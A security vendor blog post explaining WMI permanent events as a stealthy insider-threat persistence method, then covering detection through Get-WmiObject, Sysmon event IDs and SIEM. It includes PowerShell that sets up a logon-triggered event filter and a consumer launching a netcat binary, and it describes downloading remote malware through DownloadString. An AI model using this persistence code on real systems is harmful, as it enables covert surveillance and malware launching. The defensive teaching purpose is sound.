Live Cyber Attack Lab 🎯 Watch our IR team detect & respond to a rogue insider trying to steal data! Choose a Session


Insider Threats: Living With WMI Permanent Events

Threat Detection

At the end of the previous post in this series, I suggested WMI permanent events, though somewhat complicated, is a more effective way for insiders to conduct surveillance on their coworkers rather than using temporary events. But average workers who become threats, I thought, would find setting up permanent events for surveillance or other hacking possibilities too much work. Can I get a do-over on that?

I spent an afternoon or three looking into permanent events and discovered that PowerShell has a special cmdlet that streamlines the process of creating the event filter, consumer, and filter-consumer WMI objects. As we all know, PowerShell gives admin awesome powers to make things easier. Unfortunately, this an example of where these powers can be used by the bad guys.

The Set-WmiInstance cmdlet is relatively easy to master but just a tad more complicated than creating temporary events with Register-WMIevent.

WMI Permanent Events Made Easy

The blog is not meant to be a training ground for would be hackers or disgruntled employees who want to strike back. The idea instead is to give IT staff a few insights into the hacker mind and get them to work out pen testing scenarios. With that in mind, here’s how to set up the WMI  filter and consumer objects:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
       EventNamespace = 'root/cimv2'
       Name = “cruella”
       Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"

       QueryLanguage = 'WQL'

$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 10000}}}"

$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
       Name = "Consumer"
       CommandLineTemplate = $Command

I’ll leave the PowerShell for binding the two, the filter and consumer, as a homework assignment.

In my own testing, I was able to get my permanent event working on the target system without too much hair pulling. Keep in the mind that this was quite difficult to do with WMI temporary events that only last as long as the PowerShell session.

By setting up a WMI permanent event to say, monitor someone logging in, the insider or hacker doesn’t have to stay around on the target system. An added bonus is that the permanent WMI event is also persistent: if the computer is rebooted the event triggers remain. This makes WMI permanent events a powerful and stealthy way to initiate an attack that doesn’t necessarily involve only monitoring.  Keep in mind that WMI eventing is not an obvious first stop for security staff analyzing an attack.

For example, the event consumer PowerShell can act as a launcher by downloading — using DowloadString — malware held on a remote server. Matt Graeber’s superb Black Hat presentation has more on all the evil potential of WMI permanent events.

As a defender, how can you begin to deal with WMI events as a tool for hacking?

Fortunately, there is a way to list event filters, consumers, and binding objects with the Get-WmiObject (alias gwmi) cmdlet:

You list WMI permanent events with Get-WMIObject and setting the appropriate parameters. Note: no timestamp for when it was created.

And then if the permanent event filter (or consumer) appears suspicious, IT can disable it by deleting it with a PowerShell pipeline and the WMI-RemoveObject cmdlet:

Deleting WMI permanent events involves a PowerShell pipeline.

Note: there isn’t any information about the time the event was created and the user doing the evil work. For that forensic information, you’ll need to dip into the Windows event logs. More on that below.

Can WMI Permanent Events Be Disabled?

At least IT has a way to see quickly the WMI permanent events that have been registered, and then can start looking at the actual event scripts for signs of threats. Perhaps as a savvy IT security pro, you decide that not everyone needs WMI on their laptops and the best strategy for dealing with WMI permanent events is to disable WMI.

They can try stopping the Winmgmt service, which runs WMI. This turns out not to be easy. In my own testing, I was not able to affect this service —it automatically restarted itself.

But let’s say you succeed in stopping it. Windows administrative software is heavily dependent on WMI and will not work if Winmgmt isn’t available. There are warnings all over the web and in forums cautioning against this strategy of disabling WMI. I would listen to them: caveat WMI!

Sysmon and SIEM: Living with Permanent Events

In short: you’ll have to accept WMI event threats as a fact of life. Thankfully, there are more effective ways to discover permanent events and other suspicious Windows event activities than using the aforementioned Powershell cmdlet.

There is Sysmon! I can’t go into all the details of this Windows freebie — downloadable here — in this post but it provides very useful forensic info within a single spot than having to look at separate Windows Event logs. Note: those with Windows 7 and beyond may not need Sysmon’s capabilities since the standard logging is better on these newer Windows systems.

Sysmon! Convenient and intelligible event logging from Microsoft.

In any case, Sysmon assigns event id 19 to the creation of a permanent WMI filter event (20 for the creation of a WMI consumer event and 21 for a WMI binding). If you browse into the Event Viewer, you can find the Sysmon event log under Microsoft->Windows->Sysmon.

You don’t want to manually access the Event Viewer, searching for WMI permanent events that could be the sign of hacking activity. Help is here!

Why not create a WMI permanent event filter to monitor the creation of — you guessed it —a WMI permanent event?

There’s a neat little project on github that provides the code for doing just this. Here’s the code snippet for a WMI event filter for detecting the creation of …  a WMI event filter:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    EventNamespace = 'root/subscription'
    Name = '_PersistenceEvent_'
    Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'
    QueryLanguage = 'WQL'

This leads nicely to my concluding thoughts. WMI permanent events have the power to do both good and evil. We saw that with Sysmon (or rolling your own PowerShell) you can pull out more details for analyzing the events and uncovering threats. While this may be practical for doing one-offs, you’ll need additional help to accomplish this on an enterprise-wide basis.

Obviously, SIEM comes into play here because the incriminating evidence is buried in logs. I think you can see where this is going. You’ll need a security monitoring solution that combine SIEM with other threat analysis for detection and mitigation of WMI permanent events.

Interested in a demo? Contact us today!

Andy Green

Andy Green

Andy blogs about data privacy and security regulations. He also loves writing about malware threats and what it means for IT security.


Does your cybersecurity start at the heart?

Get a highly customized data risk assessment run by engineers who are obsessed with data security.